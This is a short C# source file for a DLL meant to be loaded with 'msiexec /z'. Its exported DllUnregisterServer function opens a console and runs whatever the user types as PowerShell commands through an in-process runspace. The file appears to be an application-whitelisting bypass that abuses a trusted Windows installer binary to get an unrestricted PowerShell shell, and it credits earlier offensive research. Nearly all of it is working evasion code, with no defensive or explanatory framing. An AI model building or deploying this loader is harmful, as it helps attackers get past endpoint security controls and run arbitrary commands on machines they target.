msiexec.cs

// msiexec /z "full path to msiexec.dll"

using System; using System.Runtime.InteropServices; using RGiesecke.DllExport; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text;

class Exports { [DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)] //Based on Casey Smiths's Work public static bool DllRegisterServer() { while (true) { AllocConsole(); IntPtr defaultStdout = new IntPtr(7); IntPtr currentStdout = GetStdHandle(StdOutputHandle); Console.Write("PS >"); string x = Console.ReadLine(); try { Console.WriteLine(RunPSCommand(x)); } catch (Exception e) { Console.WriteLine(e.Message); } } return true; } //Based on Jared Atkinson's And Justin Warner's Work public static string RunPSCommand(string cmd) { //Init stuff Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); Pipeline pipeline = runspace.CreatePipeline();

    //Add commands
    pipeline.Commands.AddScript(cmd);

    //Prep PS for string output and invoke
    pipeline.Commands.Add("Out-String");
    Collection<PSObject> results = pipeline.Invoke();
    runspace.Close();

    //Convert records to strings
    StringBuilder stringBuilder = new StringBuilder();
    foreach (PSObject obj in results)
    {
        stringBuilder.Append(obj);
    }
    return stringBuilder.ToString().Trim();
}

public static void RunPSFile(string script)
{
    PowerShell ps = PowerShell.Create();
    ps.AddScript(script).Invoke();
}

private const UInt32 StdOutputHandle = 0xFFFFFFF5;
[DllImport("kernel32.dll")]
private static extern IntPtr GetStdHandle(UInt32 nStdHandle);
[DllImport("kernel32.dll")]
private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle);
[DllImport("kernel32")]
static extern bool AllocConsole();

}